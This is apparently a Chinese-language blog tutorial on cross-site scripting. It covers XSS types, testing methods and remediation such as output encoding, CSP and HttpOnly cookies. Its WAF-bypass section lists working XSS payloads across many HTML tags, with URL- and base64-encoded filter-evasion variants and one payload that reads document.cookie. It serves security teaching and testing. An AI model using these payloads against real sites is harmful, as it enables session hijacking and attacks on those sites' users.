XSS(跨站脚本攻击)

目录

1.XSS原理

2.XSS分类

[3.XSS 漏洞的验证](#3.XSS 漏洞的验证)

4.XSS漏洞的黑盒测试

5.XSS漏洞的白盒测试

6.WAF绕过

常见WAF绕过的标签

绕过方法

audio标签

video标签

div标签

math标签

button标签

keygen标签

object标签

iframe标签

7.修复建议

代码层面

其他层面


1.XSS原理

恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之 时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层 面的攻击!

2.XSS分类

反射型XSS

攻击者将恶意代码注入到 Web 页面的 URL 参数中,然后通过诱导用户点击该链接来触发执行恶意代码。

非持久性、参数型的跨站脚本。反射型XSS 的JS 代码在Web 应用的参数(变量)中

----------搜索框

存储型XSS

攻击者将恶意代码注入到 Web 页面的数据库中,并在用户访问该页面时触发执行恶意代码。

持久性跨站脚本,XSS 代码不是在某个参数(变量)中,而是写进数据库或 文件等可以永久保存数据的介质中。------------------------留言板

DOM-XSS

攻击者将恶意代码注入到 Web 页面的 JavaScript 中,然后在用户访问该页面时触发执行恶意代码。

修改受害者浏览器页面的DOM 树而执行的。并不会传到服务器上

3.XSS 漏洞的验证

(1)scriptalert(/xss/)/script
(2)scriptconfirm('xss')/script
(3)scriptprompt('xss')/script

4.XSS漏洞的黑盒测试

URL的每一个参数、URL本身、表单、搜索框、常见业务场景

重灾区:评论区、留言区、个人信息、订单信息等

针对型:站内信、网页即时通讯、私信、意见反馈

存在风险:搜索框、当前目录、图片属性等

5.XSS漏洞的白盒测试

PHP中常见的接收参数的方式有GET、POST、$_REQUEST等等,可以搜索所有接收参数的地方。然后 对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和 html编码等处理。

也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库 中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。

大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过 滤,能否绕过等等

6.WAF绕过

常见WAF绕过的标签

<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input>

<textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio> <select>

绕过方法

可以弹窗的:alert,prompt ,confirm,base64加密,编码绕过

绕过方法有很多比如:

大小写绕过

javascript伪协议

没有分号

Flash

HTML5 新标签

Fuzz进行测试

双层标签绕过

audio标签

<audio src=x οnerrοr=alert(47)>

<audio src=x οnerrοr=prompt(1);>

<audio src=1 href=1 οnerrοr="javascript:alert(1)"></audio>

video标签

<video src=x οnerrοr=prompt(1);>

<video src=x οnerrοr=alert(48)>

div标签

<div style="width:expression(alert(/1/))">1</div> 浏览器执行

<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv> url编码绕过

math标签

<math><a/xlink:href=javascript:prompt(1)>Xss

<math href="javascript:javascript:alert(1)">Xss</math>

button标签

<button οnfοcus=alert(1) autofocus>

<button/οnclick=alert(1) >xss</button>

keygen标签

<keygen/οnfοcus=prompt(1);>

<keygen οnfοcus=javascript:alert(1) autofocus>

object标签

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg

解码:<script>alert(1)</script>

iframe标签

<iframe width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fiframe>

<iframe%2fsrc%3d"data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d"><iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>

7.修复建议

代码层面

**在服务端进行输入验证(输入验证):**服务器后端进行输入验证,包括输入的数据类型、数据长度、数据格式、特殊字符等进行验证。

**数据输出实体编码(输出编码):**输出编码手段主要有3种编码:URL编码、HTML编码和JavaScript编码。

其他层面

避免内敛事件 :尽量不要使用 onLoad="onload('{``{data}}')"onClick="go('{``{action}}')"这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener()事件绑定会更安全。

**避免拼接 HTML:**前端采用拼接 HTML 的方法比较危险,如果框架允许,使用 createElement、setAttribute 之类的方法实现。或者采用比较成熟的渲染框架,如 Vue/React 等。

**使用CSP:**Content Security Policy:禁止加载外域代码,防止复杂的攻击逻辑;禁止外域提交,网站被攻击后,用户的数据不会泄露到外域;禁止内联脚本执行;禁止未授权的脚本执行。

**使用httponly:**HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。httponly无法完全的防御xss漏洞,它只是规定了不能使用js去获取cookie的内容,因此它只能防御利用xss进行cookie劫持的问题。Httponly是在set-cookie时标记的,可对单独某个参数标记也可对全部参数标记。由于设置httponly的方法比较简单,使用也很灵活,并且对防御cookie劫持非常有用,因此已经渐渐成为一种默认的标准。

相关推荐
天天进步20154 小时前
前端安全指南:防御XSS与CSRF攻击
前端·安全·xss
一只栖枝4 小时前
HCIA-Security 认证精讲!网络安全理论与实战全掌握
网络·web安全·网络安全·智能路由器·hcia·it·hcia-security
FileLink跨网文件交换5 小时前
文件摆渡系统十大软件|文件摆渡系统如何构建网络安全呢?
网络
拾光拾趣录6 小时前
括号生成算法
前端·算法
拾光拾趣录7 小时前
requestIdleCallback:让你的网页如丝般顺滑
前端·性能优化
前端 贾公子7 小时前
vue-cli 模式下安装 uni-ui
前端·javascript·windows
拾光拾趣录7 小时前
链表合并:双指针与递归
前端·javascript·算法
@大迁世界7 小时前
前端:优秀架构的坟墓
前端·架构
期待のcode7 小时前
图片上传实现
java·前端·javascript·数据库·servlet·交互